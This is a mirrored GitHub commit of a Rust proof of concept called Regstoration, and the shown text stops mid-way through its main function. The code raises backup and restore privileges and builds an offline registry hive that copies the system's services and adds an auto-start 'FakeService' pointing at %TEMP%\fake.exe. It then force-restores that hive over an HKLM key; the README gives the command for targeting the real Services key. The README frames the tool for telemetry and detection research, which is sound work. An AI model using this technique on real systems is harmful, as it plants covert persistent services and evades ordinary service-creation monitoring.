mirror of
https://github.com/preludeorg/Regstoration
synced 2026-06-08 16:48:22 +00:00
rewritten in rust
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
/target
|
||||
.claude
|
||||
.vscode
|
||||
Generated
+156
@@ -0,0 +1,156 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "RegstorationRust"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.101"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.40"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.106"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9579d0e6970fd5250aa29aba5994052385ff55cf7b28a059e484bb79ea842e42"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-link",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a90dd7a7b86859ec4cdf864658b311545ef19dbcf17a672b52ab7cefe80c336f"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "57fe7168f7de578d2d8a05b07fd61870d2e73b4020e9f49aa00da8471723497c"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b2194dee901458cb79e1148a4e9aac2b164cc95fa431891e7b296ff0b2f1d8a6"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e46c0661abb7180e7b9c281db115305d49ca1709ab8242adf09666d2173c65"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ce3498fe0aba81e62e477408383196b4b0363db5e0c27646f932676283b43d8"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7084dcc306f89883455a206237404d3eaf961e5bd7e0f312f7c91f57eb44167f"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7218c655a553b0bed4426cf54b20d7ba363ef543b52d515b3e48d7fd55318dda"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ab47f085ad6932defa48855254c758cdd0e2f2d48e62a34118a268d8f345e118"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
[package]
|
||||
name = "RegstorationRust"
|
||||
version = "0.1.0"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
windows = {version = "0.62.0", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Registry",
|
||||
"Wdk_System_OfflineRegistry",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
"Win32_Security_Authorization",
|
||||
"Win32_System_SystemServices"
|
||||
]}
|
||||
@@ -0,0 +1,8 @@
|
||||
# WARNING: THIS PROOF OF CONCEPT IS LIKELY TO CAUSE SYSTEM INSTABILITY WHEN USED TO OVERWRITE THE CURRENT CONTENTS OF THE ACTUAL ROOT SERVICES KEY (`SOFTWARE\\CURRENTCONTROLSET\\SERVICES`)
|
||||
- If you would like to test overwriting the actual services key, do so using a virtual machine that can be restored from a stable snapshot
|
||||
- I suggest creating a dummy key to collect telemetry or evaluate detection strategies for this approach. The telemetry will be the same aside from the targeted path in the restore operation.
|
||||
|
||||
# Usage
|
||||
- `cargo build`
|
||||
- Restore to test key at `HKLM\Software\Test` (key must already exist): `cargo run`
|
||||
- Restore to arbitrary HKLM key (key must already exist): `cargo run -- SOFTWARE\CURRENTCONTROLSET\SERVICES`
|
||||
+743
@@ -0,0 +1,743 @@
|
||||
use windows::{
|
||||
core::*,
|
||||
Win32::Foundation::*,
|
||||
Win32::System::Registry::*,
|
||||
Win32::Security::*,
|
||||
Win32::System::Threading::*,
|
||||
Wdk::System::OfflineRegistry::*,
|
||||
};
|
||||
use std::ffi::c_void;
|
||||
use std::path::PathBuf;
|
||||
|
||||
// Registry constants
|
||||
const RRF_RT_ANY: u32 = 0x0000FFFF;
|
||||
const REG_FORCE_RESTORE: i32 = 0x00000008;
|
||||
|
||||
// Security constants
|
||||
const PRIVILEGE_SET_ALL_NECESSARY: u32 = 1;
|
||||
|
||||
// Helper function to convert &str to PCWSTR with proper lifetime management
|
||||
fn to_pcwstr(s: &str) -> (Vec<u16>, PCWSTR) {
|
||||
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
|
||||
let pcwstr = PCWSTR::from_raw(wide.as_ptr());
|
||||
(wide, pcwstr)
|
||||
}
|
||||
|
||||
// Check if current process is running with elevated privileges
|
||||
fn is_process_elevated() -> windows::core::Result<bool> {
|
||||
unsafe {
|
||||
let mut token = HANDLE::default();
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?;
|
||||
|
||||
let mut elevation = TOKEN_ELEVATION::default();
|
||||
let mut return_length = 0u32;
|
||||
|
||||
GetTokenInformation(
|
||||
token,
|
||||
TokenElevation,
|
||||
Some(&mut elevation as *mut _ as *mut c_void),
|
||||
std::mem::size_of::<TOKEN_ELEVATION>() as u32,
|
||||
&mut return_length,
|
||||
)?;
|
||||
|
||||
CloseHandle(token).ok();
|
||||
Ok(elevation.TokenIsElevated != 0)
|
||||
}
|
||||
}
|
||||
|
||||
// Enable a specific privilege by name
|
||||
fn enable_privilege(privilege_name: &str) -> windows::core::Result<()> {
|
||||
unsafe {
|
||||
let mut token = HANDLE::default();
|
||||
OpenProcessToken(
|
||||
GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&mut token,
|
||||
)?;
|
||||
|
||||
let privilege_name_cstr = std::ffi::CString::new(privilege_name)
|
||||
.map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?;
|
||||
|
||||
let mut luid = LUID::default();
|
||||
LookupPrivilegeValueA(
|
||||
PCSTR::null(),
|
||||
PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8),
|
||||
&mut luid,
|
||||
)?;
|
||||
|
||||
let mut tp = TOKEN_PRIVILEGES {
|
||||
PrivilegeCount: 1,
|
||||
Privileges: [LUID_AND_ATTRIBUTES {
|
||||
Luid: luid,
|
||||
Attributes: SE_PRIVILEGE_ENABLED,
|
||||
}],
|
||||
};
|
||||
|
||||
AdjustTokenPrivileges(
|
||||
token,
|
||||
false,
|
||||
Some(&mut tp),
|
||||
0,
|
||||
None,
|
||||
None,
|
||||
)?;
|
||||
|
||||
CloseHandle(token).ok();
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// Check if a privilege is enabled
|
||||
fn is_privilege_enabled(privilege_name: &str) -> windows::core::Result<bool> {
|
||||
unsafe {
|
||||
let mut token = HANDLE::default();
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?;
|
||||
|
||||
let privilege_name_cstr = std::ffi::CString::new(privilege_name)
|
||||
.map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?;
|
||||
|
||||
let mut luid = LUID::default();
|
||||
LookupPrivilegeValueA(
|
||||
PCSTR::null(),
|
||||
PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8),
|
||||
&mut luid,
|
||||
)?;
|
||||
|
||||
let privilege_set = PRIVILEGE_SET {
|
||||
PrivilegeCount: 1,
|
||||
Control: PRIVILEGE_SET_ALL_NECESSARY,
|
||||
Privilege: [LUID_AND_ATTRIBUTES {
|
||||
Luid: luid,
|
||||
Attributes: TOKEN_PRIVILEGES_ATTRIBUTES(0),
|
||||
}],
|
||||
};
|
||||
|
||||
let mut result = false.into();
|
||||
PrivilegeCheck(token, &privilege_set as *const _ as *mut _, &mut result)?;
|
||||
|
||||
CloseHandle(token).ok();
|
||||
Ok(result.as_bool())
|
||||
}
|
||||
}
|
||||
|
||||
// Enable required privileges for registry restoration
|
||||
fn enable_required_privileges() -> windows::core::Result<()> {
|
||||
println!("[+] Checking/Setting token privileges needed to call RegRestoreKey!");
|
||||
|
||||
// Check if process is elevated
|
||||
if !is_process_elevated()? {
|
||||
println!("[!] Process is not running with elevated privileges. Please run as administrator.");
|
||||
return Err(windows::core::Error::from_hresult(E_ACCESSDENIED));
|
||||
}
|
||||
|
||||
let required_privileges = ["SeBackupPrivilege", "SeRestorePrivilege"];
|
||||
let mut privileges_needed = Vec::new();
|
||||
|
||||
// Check which privileges need to be enabled
|
||||
for privilege in &required_privileges {
|
||||
if !is_privilege_enabled(privilege)? {
|
||||
privileges_needed.push(*privilege);
|
||||
}
|
||||
}
|
||||
|
||||
if privileges_needed.is_empty() {
|
||||
println!("[+] Both privileges already enabled!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("[+] {} privileges need to be enabled to restore a reg hive file!", privileges_needed.len());
|
||||
|
||||
// Enable each required privilege
|
||||
for privilege in &privileges_needed {
|
||||
println!("[+] Enabling {}!", privilege);
|
||||
enable_privilege(privilege)?;
|
||||
println!("[+] {} enabled successfully!", privilege);
|
||||
}
|
||||
|
||||
// Verify privileges were enabled
|
||||
for privilege in &required_privileges {
|
||||
if !is_privilege_enabled(privilege)? {
|
||||
println!("[!] Failed to enable {}", privilege);
|
||||
return Err(windows::core::Error::from_hresult(E_FAIL));
|
||||
}
|
||||
}
|
||||
|
||||
println!("[+] All required privileges enabled successfully!");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Restore registry from hive file
|
||||
fn restore_from_hive(hive_filename: &str, target_key: &str) -> windows::core::Result<()> {
|
||||
// Get temp directory path
|
||||
let temp_dir = std::env::var("LOCALAPPDATA")
|
||||
.or_else(|_| std::env::var("TEMP"))
|
||||
.unwrap_or_else(|_| "C:\\Temp".to_string());
|
||||
|
||||
let mut hive_path = PathBuf::from(temp_dir);
|
||||
hive_path.push("Temp");
|
||||
hive_path.push(hive_filename);
|
||||
|
||||
println!("[+] Restoring hive from: {}", hive_path.display());
|
||||
|
||||
// Convert paths to wide strings
|
||||
let path_str = hive_path.to_string_lossy();
|
||||
let (_wide_path, path_pcwstr) = to_pcwstr(&path_str);
|
||||
let (_target_key_wide, target_key_pcwstr) = to_pcwstr(target_key);
|
||||
|
||||
// Open target registry key
|
||||
let mut target_hkey = HKEY::default();
|
||||
let open_result = unsafe {
|
||||
RegOpenKeyExW(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
target_key_pcwstr,
|
||||
Some(0),
|
||||
KEY_ALL_ACCESS,
|
||||
&raw mut target_hkey,
|
||||
)
|
||||
};
|
||||
|
||||
if open_result != ERROR_SUCCESS {
|
||||
println!("Failed to open target key '{}'. Error: {:?}", target_key, open_result);
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(open_result.0 as i32)));
|
||||
}
|
||||
|
||||
// Restore the hive
|
||||
let restore_result = unsafe {
|
||||
RegRestoreKeyW(
|
||||
target_hkey,
|
||||
path_pcwstr,
|
||||
REG_RESTORE_KEY_FLAGS(REG_FORCE_RESTORE),
|
||||
)
|
||||
};
|
||||
|
||||
// Close the target key
|
||||
unsafe {
|
||||
let _ = RegCloseKey(target_hkey);
|
||||
}
|
||||
|
||||
if restore_result != ERROR_SUCCESS {
|
||||
match restore_result.0 {
|
||||
0x522 => { // ERROR_PRIVILEGE_NOT_HELD
|
||||
println!("Failed to restore hive: Insufficient privileges. Please ensure SeBackupPrivilege and SeRestorePrivilege are enabled.");
|
||||
}
|
||||
0x5 => { // ERROR_ACCESS_DENIED
|
||||
println!("Failed to restore hive: Access denied. Please ensure you have administrative privileges.");
|
||||
}
|
||||
_ => {
|
||||
println!("Failed to restore hive. Error: {:?}", restore_result);
|
||||
}
|
||||
}
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(restore_result.0 as i32)));
|
||||
}
|
||||
|
||||
println!("[+] Successfully restored hive");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_installed_services() -> windows::core::Result<Vec<String>> {
|
||||
let (_service_key_path_wide, service_key_path) = to_pcwstr("SYSTEM\\CurrentControlSet\\Services");
|
||||
let mut key_handle = HKEY::default();
|
||||
|
||||
let result = unsafe {
|
||||
RegOpenKeyExW(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
service_key_path,
|
||||
Some(0),
|
||||
KEY_READ,
|
||||
&raw mut key_handle,
|
||||
)
|
||||
};
|
||||
|
||||
if result != ERROR_SUCCESS {
|
||||
println!("RegOpenKeyExW FAILED to open the root services key. Error: {}", result.0);
|
||||
return Err(windows::core::Error::from_hresult(result.into()));
|
||||
}
|
||||
|
||||
println!("[+] Opened root services key");
|
||||
|
||||
let mut service_names = Vec::new();
|
||||
|
||||
// Enumerate installed services
|
||||
let mut index = 0u32;
|
||||
loop {
|
||||
let mut key_name = [0u16; 260]; // MAX_PATH equivalent (wide chars)
|
||||
let mut key_name_size = key_name.len() as u32;
|
||||
|
||||
let enum_result = unsafe {
|
||||
RegEnumKeyExW(
|
||||
key_handle,
|
||||
index,
|
||||
Some(PWSTR(key_name.as_mut_ptr())),
|
||||
&raw mut key_name_size,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
)
|
||||
};
|
||||
|
||||
if enum_result != ERROR_SUCCESS {
|
||||
break;
|
||||
}
|
||||
|
||||
// Convert from wide string to String
|
||||
let key_name_slice = &key_name[..key_name_size as usize];
|
||||
if let Ok(service_name) = String::from_utf16(key_name_slice) {
|
||||
service_names.push(service_name);
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
// Close the root key
|
||||
unsafe {
|
||||
let _ = RegCloseKey(key_handle);
|
||||
}
|
||||
|
||||
println!("[+] Found {} services", service_names.len());
|
||||
Ok(service_names)
|
||||
}
|
||||
|
||||
|
||||
fn enumerate_registry_values(key_handle: HKEY) -> windows::core::Result<Vec<String>> {
|
||||
let mut value_names = Vec::new();
|
||||
let mut index = 0u32;
|
||||
|
||||
loop {
|
||||
let mut value_name = [0u16; 260]; // MAX_PATH equivalent
|
||||
let mut value_name_size = value_name.len() as u32;
|
||||
|
||||
let enum_result = unsafe {
|
||||
RegEnumValueW(
|
||||
key_handle,
|
||||
index,
|
||||
Some(PWSTR(value_name.as_mut_ptr())),
|
||||
&raw mut value_name_size,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
)
|
||||
};
|
||||
|
||||
if enum_result != ERROR_SUCCESS {
|
||||
// ERROR_NO_MORE_ITEMS indicates we've enumerated all values
|
||||
if enum_result == ERROR_NO_MORE_ITEMS {
|
||||
break;
|
||||
} else {
|
||||
println!("RegEnumValueW failed with error: {:?}", enum_result);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Convert from wide string to String
|
||||
let value_name_slice = &value_name[..value_name_size as usize];
|
||||
if let Ok(value_name_str) = String::from_utf16(value_name_slice) {
|
||||
value_names.push(value_name_str);
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
Ok(value_names)
|
||||
}
|
||||
|
||||
fn copy_registry_values(source_key: HKEY, dest_key: ORHKEY) -> windows::core::Result<u32> {
|
||||
// Enumerate all values in the source key
|
||||
let value_names = enumerate_registry_values(source_key)?;
|
||||
let mut values_copied = 0u32;
|
||||
|
||||
for value_name in &value_names {
|
||||
let (_value_name_wide, value_name_pcwstr) = to_pcwstr(value_name);
|
||||
|
||||
// First call to RegGetValueW to get the size and type
|
||||
let mut value_type: REG_VALUE_TYPE = REG_VALUE_TYPE(0);
|
||||
let mut data_size: u32 = 0;
|
||||
|
||||
let size_result = unsafe {
|
||||
RegGetValueW(
|
||||
source_key,
|
||||
PCWSTR::null(),
|
||||
value_name_pcwstr,
|
||||
REG_ROUTINE_FLAGS(RRF_RT_ANY),
|
||||
Some(&raw mut value_type),
|
||||
None,
|
||||
Some(&raw mut data_size),
|
||||
)
|
||||
};
|
||||
|
||||
if size_result != ERROR_SUCCESS {
|
||||
println!(" Failed to get size for value '{}'. Error: {:?}", value_name, size_result);
|
||||
continue;
|
||||
}
|
||||
|
||||
if data_size > 0 {
|
||||
// Allocate buffer and read the actual data
|
||||
let mut data: Vec<u8> = vec![0u8; data_size as usize];
|
||||
let _original_data_size = data_size; // Save original size before second call
|
||||
|
||||
let read_result = unsafe {
|
||||
RegGetValueW(
|
||||
source_key,
|
||||
PCWSTR::null(),
|
||||
value_name_pcwstr,
|
||||
REG_ROUTINE_FLAGS(RRF_RT_ANY),
|
||||
Some(&raw mut value_type),
|
||||
Some(data.as_mut_ptr() as *mut c_void),
|
||||
Some(&raw mut data_size),
|
||||
)
|
||||
};
|
||||
|
||||
if read_result != ERROR_SUCCESS {
|
||||
println!(" Failed to read data for value '{}'. Error: {:?}", value_name, read_result);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Ensure we only use the actual data size, not the buffer size
|
||||
let actual_data = &data[..data_size as usize];
|
||||
|
||||
// Write the value to the offline hive
|
||||
let write_result = unsafe {
|
||||
ORSetValue(
|
||||
dest_key,
|
||||
value_name_pcwstr,
|
||||
value_type.0,
|
||||
Some(actual_data),
|
||||
)
|
||||
};
|
||||
|
||||
if write_result != WIN32_ERROR(0) {
|
||||
println!(" Failed to write value '{}' to hive. Error: {:?}", value_name, write_result);
|
||||
continue;
|
||||
}
|
||||
|
||||
values_copied += 1;
|
||||
} else {
|
||||
println!(" Value '{}' has no data", value_name);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(values_copied)
|
||||
}
|
||||
|
||||
fn copy_services_to_hive(service_names: &Vec<String>, hive_handle: ORHKEY) -> windows::core::Result<()> {
|
||||
println!("[+] Using service keys from registry struct to populate the hive file...");
|
||||
|
||||
// TODO: Implement full service copying logic
|
||||
// This would involve:
|
||||
// - Opening each service key in the real registry
|
||||
// - Creating corresponding keys in the offline hive
|
||||
// - Copying all values for each service
|
||||
for service_name in service_names {
|
||||
// Convert service name to wide string for ORCreateKey
|
||||
let (_service_name_wide, service_name_pcwstr) = to_pcwstr(service_name);
|
||||
// Create service path as wide string for RegOpenKeyExW
|
||||
let service_path = format!("SYSTEM\\CurrentControlSet\\Services\\{service_name}");
|
||||
let (_service_path_wide, service_path_pcwstr) = to_pcwstr(&service_path);
|
||||
// open the original service key in the real registry
|
||||
let mut og_key_handle = HKEY::default();
|
||||
let open_result = unsafe {
|
||||
RegOpenKeyExW(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
service_path_pcwstr,
|
||||
Some(0),
|
||||
KEY_READ,
|
||||
&raw mut og_key_handle,
|
||||
)
|
||||
};
|
||||
|
||||
if open_result != ERROR_SUCCESS {
|
||||
println!("Failed to open service key '{}'. Error: {:?}", service_name, open_result);
|
||||
continue; // Skip this service and continue with the next one
|
||||
}
|
||||
|
||||
// create the equivalent key in the offline registry hive
|
||||
let mut offline_service_key = ORHKEY::default();
|
||||
let mut disposition: u32 = 0;
|
||||
let create_result = unsafe {
|
||||
ORCreateKey(
|
||||
hive_handle,
|
||||
service_name_pcwstr,
|
||||
PWSTR::null(), // lpClass - can be null
|
||||
Some(0), // dwOptions - 0 for default (wrapped in Some)
|
||||
None, // pSecurityDescriptor - can be null
|
||||
&raw mut offline_service_key,
|
||||
Some(&raw mut disposition)
|
||||
)
|
||||
};
|
||||
|
||||
if create_result != WIN32_ERROR(0) {
|
||||
println!("Failed to create offline service key '{}'. Error: {:?}", service_name, create_result);
|
||||
unsafe {
|
||||
let _ = RegCloseKey(og_key_handle);
|
||||
}
|
||||
continue; // Skip this service and continue with the next one
|
||||
}
|
||||
|
||||
// Copy values from og_key_handle to offline_service_key
|
||||
match copy_registry_values(og_key_handle, offline_service_key) {
|
||||
Ok(values_copied) => {
|
||||
if values_copied > 0 {
|
||||
println!(" Copied {} values for service '{}'", values_copied, service_name);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!(" Failed to copy values for service '{}'. Error: {:?}", service_name, e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Clean up handles
|
||||
unsafe {
|
||||
let _ = RegCloseKey(og_key_handle);
|
||||
let _ = ORCloseKey(offline_service_key);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn add_fake_service(hive_handle: ORHKEY) -> windows::core::Result<()> {
|
||||
println!("[+] Adding fake service to hive...");
|
||||
|
||||
let (_service_name_wide, service_name_pcwstr) = to_pcwstr("FakeService");
|
||||
|
||||
// Create the fake service key in the offline hive
|
||||
let mut fake_service_key = ORHKEY::default();
|
||||
let mut disposition: u32 = 0;
|
||||
let create_result = unsafe {
|
||||
ORCreateKey(
|
||||
hive_handle,
|
||||
service_name_pcwstr,
|
||||
PWSTR::null(),
|
||||
Some(0),
|
||||
None,
|
||||
&raw mut fake_service_key,
|
||||
Some(&raw mut disposition)
|
||||
)
|
||||
};
|
||||
|
||||
if create_result != WIN32_ERROR(0) {
|
||||
println!("Failed to create fake service key. Error: {:?}", create_result);
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(create_result.0 as i32)));
|
||||
}
|
||||
|
||||
// Define fake service values
|
||||
let service_values = [
|
||||
("DisplayName", "Fake Service", 1u32), // REG_SZ
|
||||
("ImagePath", "%TEMP%\\fake.exe", 2u32), // REG_EXPAND_SZ
|
||||
("Type", "", 4u32), // REG_DWORD - will set data separately
|
||||
("Start", "", 4u32), // REG_DWORD - will set data separately
|
||||
("ErrorControl", "", 4u32), // REG_DWORD - will set data separately
|
||||
];
|
||||
|
||||
// DWORD values
|
||||
let type_value: u32 = 0x10; // SERVICE_WIN32_OWN_PROCESS
|
||||
let start_value: u32 = 0x02; // AUTO_START
|
||||
let error_control_value: u32 = 0x01; // Normal
|
||||
|
||||
for (name, string_data, value_type) in &service_values {
|
||||
let (_name_wide, name_pcwstr) = to_pcwstr(name);
|
||||
|
||||
let set_result = if *value_type == 4 { // REG_DWORD
|
||||
let data = match *name {
|
||||
"Type" => type_value.to_le_bytes(),
|
||||
"Start" => start_value.to_le_bytes(),
|
||||
"ErrorControl" => error_control_value.to_le_bytes(),
|
||||
_ => [0u8; 4],
|
||||
};
|
||||
|
||||
unsafe {
|
||||
ORSetValue(
|
||||
fake_service_key,
|
||||
name_pcwstr,
|
||||
*value_type,
|
||||
Some(&data),
|
||||
)
|
||||
}
|
||||
} else { // REG_SZ or REG_EXPAND_SZ
|
||||
let (_string_wide, string_pcwstr) = to_pcwstr(string_data);
|
||||
let string_bytes = string_data.encode_utf16()
|
||||
.chain(std::iter::once(0))
|
||||
.flat_map(|u| u.to_le_bytes())
|
||||
.collect::<Vec<u8>>();
|
||||
|
||||
unsafe {
|
||||
ORSetValue(
|
||||
fake_service_key,
|
||||
name_pcwstr,
|
||||
*value_type,
|
||||
Some(&string_bytes),
|
||||
)
|
||||
}
|
||||
};
|
||||
|
||||
if set_result != WIN32_ERROR(0) {
|
||||
println!("Failed to set value '{}' for fake service. Error: {:?}", name, set_result);
|
||||
unsafe {
|
||||
let _ = ORCloseKey(fake_service_key);
|
||||
}
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(set_result.0 as i32)));
|
||||
}
|
||||
}
|
||||
|
||||
// Close the fake service key
|
||||
unsafe {
|
||||
let _ = ORCloseKey(fake_service_key);
|
||||
}
|
||||
|
||||
println!("[+] Successfully added fake service to hive");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_hive(hive_handle: ORHKEY) -> windows::core::Result<()> {
|
||||
// Get temp directory path
|
||||
let temp_dir = std::env::var("LOCALAPPDATA")
|
||||
.or_else(|_| std::env::var("TEMP"))
|
||||
.unwrap_or_else(|_| "C:\\Temp".to_string());
|
||||
|
||||
let mut hive_path = PathBuf::from(temp_dir);
|
||||
hive_path.push("Temp");
|
||||
hive_path.push("restore_hive.hive");
|
||||
|
||||
// Delete existing file if it exists
|
||||
if hive_path.exists() {
|
||||
if let Err(e) = std::fs::remove_file(&hive_path) {
|
||||
println!("Warning: Failed to delete existing hive file: {}", e);
|
||||
} else {
|
||||
println!("[+] Deleted existing hive file");
|
||||
}
|
||||
}
|
||||
|
||||
println!("[+] Saving hive to: {}", hive_path.display());
|
||||
|
||||
// Convert path to wide string
|
||||
let path_str = hive_path.to_string_lossy();
|
||||
let (_wide_path, path_pcwstr) = to_pcwstr(&path_str);
|
||||
|
||||
// Save the hive with version 10 (Windows 10/11)
|
||||
let result = unsafe {
|
||||
ORSaveHive(
|
||||
hive_handle,
|
||||
path_pcwstr,
|
||||
10, // Major version (Windows 10/11)
|
||||
0 // Minor version
|
||||
)
|
||||
};
|
||||
|
||||
if result != WIN32_ERROR(0) {
|
||||
println!("Failed to save hive. Error: {:?}", result);
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32)));
|
||||
}
|
||||
|
||||
println!("[+] Successfully saved hive");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn create_and_populate_hive(service_names: &Vec<String>) -> windows::core::Result<()> {
|
||||
// Create offline hive
|
||||
let mut hive_handle = ORHKEY::default();
|
||||
let result = unsafe {
|
||||
ORCreateHive(&raw mut hive_handle)
|
||||
};
|
||||
|
||||
if result != WIN32_ERROR(0) {
|
||||
println!("ORCreateHive FAILED. Error: {:?}", result);
|
||||
return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32)));
|
||||
}
|
||||
|
||||
println!("[+] Successfully created offline hive");
|
||||
|
||||
// Copy services to hive
|
||||
copy_services_to_hive(service_names, hive_handle)?;
|
||||
|
||||
// Add fake service to hive
|
||||
add_fake_service(hive_handle)?;
|
||||
|
||||
// Save hive to file
|
||||
save_hive(hive_handle)?;
|
||||
|
||||
// Close the hive
|
||||
unsafe {
|
||||
let _ = ORCloseHive(hive_handle);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() {
|
||||
// Get command line arguments for target key (if provided)
|
||||
let args: Vec<String> = std::env::args().collect();
|
||||
let target_key = if args.len() > 1 {
|
||||
args[1].clone()
|
||||
} else {
|
||||
"SOFTWARE\\Test".to_string() // Default target key like C implementation
|
||||
};
|
||||
|
||||
println!("[+] Target key: {}", target_key);
|
||||
|
||||
match get_installed_services() {
|
||||
Ok(service_names) => {
|
||||
println!("Successfully enumerated {} services", service_names.len());
|
||||
|
||||
// Display first few service names
|
||||
println!("First 10 services:");
|
||||
for service_name in service_names.iter().take(10) {
|
||||
println!(" {}", service_name);
|
||||
}
|
||||
|
||||
// Create and populate hive
|
||||
println!("\n[+] Creating offline hive...");
|
||||
match create_and_populate_hive(&service_names) {
|
||||
Ok(()) => {
|
||||
